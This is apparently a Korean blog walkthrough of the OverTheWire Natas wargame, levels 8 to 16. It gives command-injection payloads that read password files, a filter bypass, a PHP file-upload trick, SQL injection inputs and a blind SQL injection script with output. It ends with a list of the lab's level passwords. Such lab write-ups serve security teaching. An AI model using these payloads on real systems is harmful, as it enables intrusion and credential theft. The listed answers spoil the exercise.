이번에도 우리가 입력한 값과 미리 소스코드에 정해져있는 값을 비교하여 패스워드를 출력할지 결정한다. 그런데 소스코드에서는 우리가 입력한 값을 인코딩하여 미리 인코딩되어 있는 값과 비교한다. 그러므로 우리는 인코딩된 값을 풀어 원래의 문자열을 찾아 입력해야 한다. 그래야 소스코드에서 우리의 값을 인코딩하여 비교할 때 미리 인코딩되어 있는 값과 우리의 값이 동일해 질 것이다.우리 값을 인코딩하는 encodeSecret() 함수의 동작을 보면 먼저 base64로 인코딩 한 후 strrev() 함수를 적용 해 값들을 뒤집고 문자들을 16진수 값으로 바꾸어 return 해 준다. 우리는 역으로 해당 값을 풀어가면 된다.




해당 값을 입력하면 다음과 같이 패스워드를 획득 할 수 있다.




[natas8 -> natas9]

Username: natas9

URL: http://natas9.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



우리가 입력하는 값이 $key 변수에 들어가게 되고 해당 변수는 실행되는 명령어의 일부분으로 들어가게 된다. 명령어가 실행된다는 것에 주목하자. 명령어가 실행된다면 우리가 임의로 어떤 명령어를 넣어 패스워드 파일을 볼 수 있다는 것도 의미한다. 세미콜론을 이용하면 임의로 명령어를 실행하는 것이 가능하다.


;cat%20/etc/natas_webpass/natas10#


위처럼 입력하여 주면 패스워드를 획득 할 수 있다.




[natas9 -> natas10]

Username: natas10

URL: http://natas10.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



보안을 이유로 특정 문자들을 필터 해 두었다고 한다. 소스코드를 살펴보자.



지문 그대로 특정 문자들(;, |, &)을 필터 해 두었다. 앞에서 사용했던 코드로는 정상적으로 필터를 우회하고 패스워드 파일을 읽어내지 못한다. 여기서는 필터 문자들을 사용하지 못한다는 것을 염두에 두고 grep 명령어에 초점을 맞추어야 한다. grep 명령의 기본 기능을 이용 해 패스워드 파일을 읽어야 한다. ^, $문자를 이용하면 패스워드 파일을 정상적으로 읽을 수 있는데, ^ 문자는 줄의 시작을 의미하며 $는 줄의 끝을 의미한다. 그러므로 ^를 사용하면 줄이 시작되는 부분의 한줄을 출력하게 될 것이고 $를 사용하면 줄이 끝나는 줄의 줄을 출력할 것이다.


"^"%20/etc/natas_webpass/natas11#

"$"%20/etc/natas_webpass/natas11#




[natas10 -> natas11]

Username: natas11

URL: http://natas11.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 보면 지금까지 보던 소스코드들과는 다르게 조금 길다.



소스코드는 길어 보이지만 단순하게 XOR의 성질만 알면 쉽게 풀 수 있는 문제이다. XOR는 두 입력값으로 다른 값을 생산해 내지만, 두 입력값 중 어느 한 값을 결과 값에 입력하게 되면 또 다른 입력 값이 나오는 성질을 가지고 있다. 정리하면 다음과 같다.


A XOR B -> C

A XOR C -> B


xor_encrypt() 함수를 살펴보자. 해당 함수에 들어오는 인자 값은 saveData 함수에서 sercookie 함수 부분을 보면 json_encode($d)인 것을 알 수 있다. $d 값은 무슨 값일까? saveData()를 호출하는 부분을 보면 인자값으로 $data 변수가 넘어가는 것을 볼 수 있고 해당 $data 값은 loadData의 결과 값인 것을 알 수 있다.

loadData를 살펴보면 $defaultdata의 값을 현재 쿠키 값의 값을 디코딩하여 다시 설정해 준다. 그러므로 쿠키 값의 값이 $defaultData의 값과 같은 경우라면 결국 loadData()의 값은 $defaultData 값이라는 것을 알 수 있다. 페이지가 처음 로딩되었을 때 loadData()의 결과 값은 $defaultdata 변수의 값일테고 이 값은 saveData() 함수로 넘어가 결국 쿠키로 설정된다. 이 과정에서 $defaultdata는 json_encode 함수를 거친 후 xor_encrypt() 함수로 가게 된다. 그러므로 결국 xor_encrypt() 함수의 $text 값은 json_encode($defaultdata) 값이라 할 수 있다.


모든 것을 알아 냈으니 이제 패스워드가 출력되는 조건인 showpassword의 값이 yes인 쿠키 값을 만들어내야 한다. 왜냐하면 현재는 showpassword 값이 no인 쿠키값이기 때문이다.


하지만 우린 아직 키 값을 모른다. 그러므로 XOR 성질을 이용 해 키 값을 알아내야 한다. 간단하게 보기로 주어진 소스코드를 이용 해 알아내보자. 다음은 간단한 흐름이다.


base64_encode($key XOR json_encode($defaultdata)) -> Cookie Value

base64_decode(Cookie Value) XOR json_encode($defaultdata) -> $key




키 값이 나왔다. 해당 키 값을 보면 "qw8J" 값이 반복되어 있는 것을 볼 수 있다. xor 연산을 할 때 key[$i % strlen($key)]로 $key 문자열들 중에 xor 할 값을 고르게 되는데, 이때 계산되는 자리의 값은 결국 $i 값이다. 그러므로 실제로 결국 계산될 때 사용되는 문자열은 "qw8J" 이므로 해당 값을 key로 하여 쿠키를 계산 해 보면 다음과 같다.




계산된 쿠키를 적용하고 페이지를 다시한번 불러오면 패스워드를 획득 할 수 있다.




[natas11 -> natas12]

Username: natas12

URL: http://natas12.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스를 한번 살펴보자.



파일을 올릴 때 이름을 랜덤문자열로 하고 확장자를 jpg로 확정지어 업로드를 수행한다. 또 파일 크기는 1KB를 넘어서는 안된다. 하지만 이 모든 것이 클라이언트에서 이루어지기 때문에 손쉽게 해결 가능하다. 제일 쉬운 방법으로는 새로운 폼을 하나 작성 해 서버에 파일을 업로드하는 것이고, 다른 방법으로는 HTTP 헤더에서 파일 이름과 파일의 확장자를 수정 해 주는 방법이다. 여기서는 후자의 방법으로 시도해보겠다.



include 함수를 통해 패스워드 파일을 불러오는 php 파일을 작성하고 업로드 할 때 HTTP 패킷을 잡아 파일 이름 필드에서 jpg 확장자를 php 확장자로 바꾸어 전송한다. 그럼 다음과 같이 파일 업로드 경로가 나타나게 되고 그 내용에는 패스워드 파일의 내용이 불러와 출력되게 된다.





[natas12 -> natas13]

Username: natas13

URL: http://natas13.natas.labs.overthewire.org



보안 조치를 취해두었다고 하면서 오로지 이미지파일만 업로드 할 수 있다고 한다. 소스코드를 한번 살펴보자.



소스코드는 크게 바뀐 것이 없다. 이미지 파일을 체크하기 위한 exif_imagetype() 함수만 추가 되었다. 이런 파일포맷 체크 함수들은 대부분 파일포맷의 시그니처만 확인한다. 올릴려는 파일에 그림파일의 시그니처를 적절히 적어 업로드하면 쉽게 우회가 가능하다.





[natas13 -> natas14]

Username: natas14

URL: http://natas14.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



한눈에 봐도 SQL Injection 문제라는 것을 알 수 있다. 쿼리를 실행시키기만 하여도 다음 레벨의 패스워드가 출력된다. 해당 쿼리를 다시 한번 살펴보면 다음 쿼리와 동일한 쿼리이다.


SELECT * from users where username=".$_REQUEST["username"]." and password=".$_REQUEST["password"]."



위와 같이 입력하게 되면 간단하게 문제를 클리어 할 수 있다.



[natas14 -> natas15]

Username: natas15

URL: http://natas15.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



이번에도 SQL Injection 문제이다. 하지만 쿼리 우회문이 아닌 테이블에서 password를 빼와야 한다. 테이블에 유저가 있고 없고를 판단하는 문장으로 봐서는 Blind SQL Injection을 목표로 하는 듯 하다. 지금까지 나온 패스워드가 32글자이므로 이번 패스워드도 32글자일 확률이 많다. 그러므로 간단하게 인젝션으로 패스워드의 글자수를 알아보자.


natas16" and length(password)=32#



쿼리가 정상적으로 실행 되었을 때 나오는 문장이 출력되었다. 이걸 토대로 생각 해 보았을 때 패스워드는 32글자라는 것을 생각 할 수 있고 이전 패스워드들과 마찬가지로 대/소문자, 숫자로 이루어져있음을 추측할 수 있다.

간단하게 스크립트를 짜서 실행하면 다음과 같다.


# -*- coding: utf-8 -*-


import httplib

import urllib

import re

import base64


charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


headers = {}

username = "natas15"

password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

conn = httplib.HTTPConnection("natas15.natas.labs.overthewire.org")

base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')

headers["Authorization"] = "Basic %s" % base64string   

headers["Content-Type"] = "application/x-www-form-urlencoded"


count = 0

password = ""

value = {}

while count != 32:

    for i in charset:

        password += i

        value["username"] = 'natas16" and password LIKE BINARY "' + password + '%'

        conn.request("POST", "", urllib.urlencode(value), headers)

        read = conn.getresponse()

        data = read.read()

        if data.find("This user exists.") > 0:

            print "Found :  ", password

            count += 1

            break

        else:

            password = password[:-1]

        conn.close()


--------------------------------------------------------------------------------------------------------------------


root@kali:~/Desktop# python test2.py 

Found :   W

Found :   Wa

Found :   WaI

Found :   WaIH

Found :   WaIHE

Found :   WaIHEa

Found :   WaIHEac

Found :   WaIHEacj

Found :   WaIHEacj6

Found :   WaIHEacj63

Found :   WaIHEacj63w

Found :   WaIHEacj63wn

Found :   WaIHEacj63wnN

Found :   WaIHEacj63wnNI

Found :   WaIHEacj63wnNIB

Found :   WaIHEacj63wnNIBR

Found :   WaIHEacj63wnNIBRO

Found :   WaIHEacj63wnNIBROH

Found :   WaIHEacj63wnNIBROHe

Found :   WaIHEacj63wnNIBROHeq

Found :   WaIHEacj63wnNIBROHeqi

Found :   WaIHEacj63wnNIBROHeqi3

Found :   WaIHEacj63wnNIBROHeqi3p

Found :   WaIHEacj63wnNIBROHeqi3p9

Found :   WaIHEacj63wnNIBROHeqi3p9t

Found :   WaIHEacj63wnNIBROHeqi3p9t0

Found :   WaIHEacj63wnNIBROHeqi3p9t0m

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5n

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nh

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhm

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhmh



[natas15 -> natas16]

Username: natas16

URL: http://natas16.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



조금 더 차단되는 문자가 생긴 것 빼고는 이전과 달라진 것이 없다. 그러나 큰따옴표("")를 필터하고 있어 이전 코드는 사용하지 못한다. 이번에는 $ 쉘 커맨드를 이용 해 임의의 명령을 시도 해보자. $ 커맨드는 괄호안에 들어 있는 명령을 실행시켜주는 쉘 커맨드이다. 다음 예를 보자.



$(echo game)을 실행하면 결국 game이란 문자열을 반환하므로 소스코드에 명시되어 있는 grep 명령이 game 문자열을 dictionary.txt에서 찾아 결과를 반환하여 주었다. 원래 문제 의도라면 쉘커맨드를 이용 해서 패스워드 파일의 글자를 하나씩 cut 명령으로 추출하는 것이지만, 조금 색다른 방법으로 풀이를 해보도록 하겠다.


해당 문제랑 비슷한 문제가 natas9 계정의 문제이다. 비교적 필터하는 문자가 적기 때문에 해당 문제를 이용해서 여러 디렉토리를 살펴 볼 수 있는데, 해당 문제를 이용 해 현재 natas16 문제에서 패스워드 파일을 tmp 디렉토리로 복사하고 natas9 계정에서 tmp 디렉토리에 있는 파일을 열어 패스워드를 확인 해 볼 것이다.


wget --quiet -O - --user=natas16 --password=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh --post-data 'submit=&needle=$(cat /etc/natas_webpass/natas17 > /tmp/natas17)' http://natas16.natas.labs.overthewire.org > /dev/null


wget --quiet -O - --user=natas9 --password=W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl --post-data 'submit=&needle=;cat /tmp/natas17;' http://natas9.natas.labs.overthewire.org




natas17은 현재 제작 중인 것으로 나와 현재 레벨까지는 올클리어를 하였다.


마지막 몇 문제 빼고는 어렵지 않은 문제니 다들 한번씩 도전해 보기 바란다.


[계정 비밀번호 리스트]

natas0 : natas0

natas1 : gtVrDuiDfck831PqWsLEZy5gyDz1clto

natas2 : ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

natas3 : sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

natas4 : Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

natas5 : iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

natas6 : aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

natas7 : 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

natas8 : DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

natas9 : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

natas10 : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

natas11 : U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas12 : EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas13 : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas14 : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas15 : AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas16 : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

natas17 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw







+ Recent posts